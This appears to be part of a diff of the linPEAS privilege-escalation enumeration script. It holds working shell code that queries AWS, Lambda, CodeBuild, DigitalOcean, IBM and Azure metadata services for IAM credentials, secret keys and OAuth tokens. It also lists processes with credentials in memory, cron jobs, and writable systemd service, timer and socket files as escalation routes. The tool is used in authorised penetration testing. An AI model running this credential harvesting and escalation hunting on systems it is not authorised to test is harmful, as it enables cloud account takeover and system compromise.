printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "IAM Role"
|
||||
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
|
||||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||||
echo "Role: $role"
|
||||
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
|
||||
|
||||
echo ""
|
||||
echo "EC2 Security Credentials"
|
||||
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
|
||||
print_3title "SSM Runnig"
|
||||
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
|
||||
# AWS Lambda Enumeration
|
||||
if [ "$is_aws_lambda" = "Yes" ]; then
|
||||
print_2title "AWS Lambda Enumeration"
|
||||
printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
|
||||
printf "Region: "; env | grep AWS_REGION
|
||||
printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
|
||||
printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
|
||||
printf "Session token: "; env | grep AWS_SESSION_TOKEN
|
||||
printf "Security token: "; env | grep AWS_SECURITY_TOKEN
|
||||
printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
|
||||
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
|
||||
fi
|
||||
|
||||
# AWS Codebuild Enumeration
|
||||
if [ "$is_aws_codebuild" = "Yes" ]; then
|
||||
print_2title "AWS Codebuild Enumeration"
|
||||
|
||||
aws_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_req="curl -s -f"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_req="wget -q -O -"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
echo "The addresses are in /codebuild/output/tmp/env.sh"
|
||||
fi
|
||||
|
||||
if [ "$aws_req" ]; then
|
||||
print_3title "Credentials"
|
||||
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
|
||||
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
|
||||
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
|
||||
|
||||
print_3title "Container Info"
|
||||
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
|
||||
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
# DO Droplet Enumeration
|
||||
if [ "$is_do" = "Yes" ]; then
|
||||
print_2title "DO Droplet Enumeration"
|
||||
|
||||
do_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
do_req='curl -s -f '
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
do_req='wget -q -O - '
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$do_req" ]; then
|
||||
URL="http://169.254.169.254/metadata"
|
||||
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
|
||||
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
|
||||
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
|
||||
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
|
||||
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
|
||||
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
|
||||
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
|
||||
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
|
||||
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
|
||||
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
|
||||
fi
|
||||
fi
|
||||
|
||||
# IBM Cloud Enumeration
|
||||
if [ "$is_ibm_vm" = "Yes" ]; then
|
||||
print_2title "IBM Cloud Enumeration"
|
||||
|
||||
if ! [ "$IBM_TOKEN" ]; then
|
||||
echo "Couldn't get the metadata token:("
|
||||
|
||||
else
|
||||
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
|
||||
ACCEPT_HEADER="Accept: application/json"
|
||||
URL="http://169.254.169.254/latest/meta-data"
|
||||
|
||||
ibm_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$ibm_req" ]; then
|
||||
print_3title "Instance Details"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
|
||||
|
||||
print_3title "Keys and User data"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
|
||||
|
||||
print_3title "Placement Groups"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
|
||||
|
||||
print_3title "IAM credentials"
|
||||
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
|
||||
fi
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
# Azure VM Enumeration
|
||||
if [ "$is_az_vm" = "Yes" ]; then
|
||||
print_2title "Azure VM Enumeration"
|
||||
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||||
|
||||
az_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
az_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$az_req" ]; then
|
||||
print_3title "Instance details"
|
||||
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
|
||||
|
||||
print_3title "Load Balancer details"
|
||||
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
|
||||
|
||||
print_3title "Management token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
|
||||
print_3title "Graph token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
|
||||
print_3title "Vault token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
|
||||
print_3title "Storage token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$check_az_app" = "Yes" ]; then
|
||||
print_2title "Azure App Service Enumeration"
|
||||
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
|
||||
|
||||
HEADER="secret:$IDENTITY_HEADER"
|
||||
|
||||
az_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
az_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$az_req" ]; then
|
||||
print_3title "Management token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
|
||||
print_3title "Graph token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
|
||||
print_3title "Vault token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
|
||||
print_3title "Storage token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
fi
|
||||
fi
|
||||
@@ -0,0 +1,380 @@
|
||||
|
||||
####################################################
|
||||
#-----) Processes & Cron & Services & Timers (-----#
|
||||
####################################################
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cleaned proccesses
|
||||
print_2title "Cleaned processes"
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||
fi
|
||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
|
||||
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
|
||||
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
|
||||
fi
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
pslist=$(print_ps)
|
||||
else
|
||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
||||
cpid=$(echo "$psline" | awk '{print $2}')
|
||||
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
||||
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
||||
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
pslist=$(ps auxwww)
|
||||
echo ""
|
||||
|
||||
#-- PCS) Binary processes permissions
|
||||
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
binW="IniTialiZZinnggg"
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||
if [ -w "$bpath" ]; then
|
||||
binW="$binW|$bpath"
|
||||
fi
|
||||
done
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
CURRENT_USER_PIVOT_PID=""
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
|
||||
#-- PCS) Process opened by other users
|
||||
print_2title "Processes whose PPID belongs to a different user (not root)"
|
||||
print_info "You will know if a user can somehow spawn processes as a different user"
|
||||
|
||||
# Function to get user by PID
|
||||
get_user_by_pid() {
|
||||
ps -p "$1" -o user | grep -v "USER"
|
||||
}
|
||||
|
||||
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
|
||||
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
|
||||
if [ "$ppid" = "0" ]; then
|
||||
continue
|
||||
fi
|
||||
ppid_user=$(get_user_by_pid "$ppid")
|
||||
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
|
||||
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
if [ "$ppid_user" = "$USER" ]; then
|
||||
CURRENT_USER_PIVOT_PID="$ppid"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Files opened by processes belonging to other users
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Files opened by processes belonging to other users"
|
||||
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
||||
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Processes with credentials inside memory
|
||||
print_2title "Processes with credentials in memory (root req)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
||||
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
||||
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Different processes 1 min
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||
temp_file=$(mktemp)
|
||||
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
|
||||
for i in $(seq 1 1210); do
|
||||
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
|
||||
done;
|
||||
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
|
||||
rm "$temp_file";
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cron
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||
incrontab -l 2>/dev/null
|
||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||
atq 2>/dev/null
|
||||
else
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Third party LaunchAgents & LaunchDemons"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
||||
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Writable System LaunchAgents & LaunchDemons"
|
||||
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
||||
program=""
|
||||
program=$(defaults read "$f" Program 2>/dev/null)
|
||||
if ! [ "$program" ]; then
|
||||
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
fi
|
||||
if [ -w "$program" ]; then
|
||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_2title "StartupItems"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
||||
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Login Items"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
||||
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "SPStartupItemDataType"
|
||||
system_profiler SPStartupItemDataType
|
||||
echo ""
|
||||
|
||||
print_2title "Emond scripts"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
||||
ls -l /private/var/db/emondClients
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Services
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Services"
|
||||
print_info "Search for outdated versions"
|
||||
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PSC) systemd PATH
|
||||
print_2title "Systemd PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) .service files
|
||||
#TODO: .service files in MACOS are folders
|
||||
print_2title "Analyzing .service files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
|
||||
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
|
||||
printf "%s\n" "$servicebinpaths" | while read sp; do
|
||||
if [ -w "$sp" ]; then
|
||||
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
done
|
||||
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
|
||||
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
|
||||
if [ "$relpath1" ] || [ "$relpath2" ]; then
|
||||
if [ "$WRITABLESYSTEMDPATH" ]; then
|
||||
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
||||
else
|
||||
echo "$s could be executing some relative path"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PSC) Timers
|
||||
print_2title "System timers"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) .timer files
|
||||
print_2title "Analyzing .timer files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
|
||||
printf "%s\n" "$timerbinpaths" | while read tb; do
|
||||
if [ -w "$tb" ]; then
|
||||
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
|
||||
#for rp in "$relpath"; do
|
||||
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
|
||||
#done
|
||||
done
|
||||
echo ""
|
||||
|
||||
#-- PSC) .socket files
|
||||
#TODO: .socket files in MACOS are folders
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Analyzing .socket files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
||||
fi
|
||||
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
printf "%s\n" "$socketsbinpaths" | while read sb; do
|
||||
if [ -w "$sb" ]; then
|
||||
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
printf "%s\n" "$socketslistpaths" | while read sl; do
|
||||
if [ -w "$sl" ]; then
|
||||
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unix Sockets Listening"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
# Search sockets using netstat and ss
|
||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
||||
fi
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||
fi
|
||||
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
# But also search socket files
|
||||
unix_scks_list2=$(find / -type s 2>/dev/null)
|
||||
else
|
||||
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Detele repeated dockets and check permissions
|
||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
|
||||
perms=""
|
||||
if [ -r "$l" ]; then
|
||||
perms="Read "
|
||||
fi
|
||||
if [ -w "$l" ];then
|
||||
perms="${perms}Write"
|
||||
fi
|
||||
|
||||
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
|
||||
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
|
||||
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
|
